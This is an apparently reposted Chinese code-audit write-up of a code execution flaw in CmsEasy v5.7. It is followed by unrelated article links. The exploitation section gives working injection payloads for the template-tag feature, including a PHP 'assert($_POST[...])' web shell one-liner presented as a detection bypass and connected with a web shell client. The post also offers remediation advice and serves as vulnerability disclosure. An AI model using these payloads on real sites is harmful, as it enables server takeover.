【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备
CmsEasy官网:http://www.cmseasy.cn/
网站源码版本:CmsEasy_v5.7_UTF8-0208
程序源码下载:
http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:
- class table_templatetag extends table_mode {
- function vaild() {
- if(!front::post('name')) {
- front::flash('请填写名称!');
- return false;
- }
- if(!front::post('tagcontent')) {
- front::flash('请填写内容!');
- return false;
- 10. }
- 11. return true;
- 12. }
- 13. function save_before() {
- 14. if(!front::post('tagfrom')) front::$post['tagfrom']='define';
- 15. if(!front::post('attr1')) front::$post['attr1']='0';
- 16. if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
- 17. }
18. }
可以看到在写入文件之前,使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"(小于)和 ">"(大于)转换为字符。因此我们可以使用双引号闭合,从而构造出Payload写入文件,进一步触发代码,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。
0x02 漏洞利用
1、登录后台, 模板--自定义标签—添加自定义标签--填写Payload—提交:
Payload: 1111111111";}<?php phpinfo()?>

2、提交保存后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:http://127.0.0.1/config/tag/category_13.php


3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>

通过菜刀连接,控制网站服务器:

0x03 修复建议
1、写入配置文件前,对特殊字符(如”、<、>等)进行htmlencode处理;
2、全局配置可考虑写入数据库进行调用。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】CmsEasy_v5.7 代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
随机推荐
- atmega328 熔丝
http://www.geek-workshop.com/thread-5772-1-1.html AVR_fighter http://wenku.baidu.com/view/0c0a8ccc61 ...
- Java对象创建的过程及对象的内存布局与访问定位
这里以HotSpot为例,且所说的对象指普通的Java对象,不包括数组和Class对象等. 1.对象创建的过程 1.类加载.解析.初始化:虚拟机遇到new时先检查此指令的参数是否能在常量池中找到类的符 ...
- Html5學習重點清單
SVG webSQL 數據庫 SSE 服務推送 MathML 基於xml語法 Web 存储 webSockets通信 canvas 畫布操作 音頻和視頻 地理位置 Geolocation API We ...
- 提供openssl -aes-256-cbc兼容加密/解密的简单python函数
原文链接:http://joelinoff.com/blog/?p=885 这里的示例显示了如何使用python以与openssl aes-256-cbc完全兼容的方式加密和解密数据.它是基于我在本网 ...
- python爬虫数据-下载图片经典案例
'''Urllib 模块提供了读取web页面数据的接口,我们可以像读取本地文件一样读取www和ftp上的数据.首先,我们定义了一个getHtml()函数: urllib.urlopen()方法用于打开 ...
- Google File System 学习
摘要 Google的人设计并实现了Google File System,一个可升级的分布式文件系统,用于大的分布式数据应用.可以运行在廉价的日用硬件上,具备容错性,且为大量客户端提供了高聚合的性能. ...
- e823. 创建JSplitPane
A split pane divides its space between two components. The split pane contains a divider that allows ...
- 「下载神器」aria2 懒人安装教程 [Windows]
是一款开源.轻量级的多协议命令行下载工具,支持 HTTP/HTTPS.FTP.SFTP.BitTorrent 和 Metalink 协议,拥有众多第三方支持插件,被誉为「下一代下载工具」和「下载神器」 ...
- Linux--nginx域名绑定-url rewrite
进入/usr/local/nginx/conf 编辑 nginx.conf 绑定域名: 添加一个 server元素,更改后的配置内容可能如下: server { listen 80; se ...
- IntelliJ IDEA Default Keymap
Alt+回车 导入包,自动修正Ctrl+N 查找类Ctrl+Shift+N 查找文件Ctrl+Alt+L 格式化代码Ctrl+Alt+O 优化导入的类和包Alt+Insert 生成代码(如get ...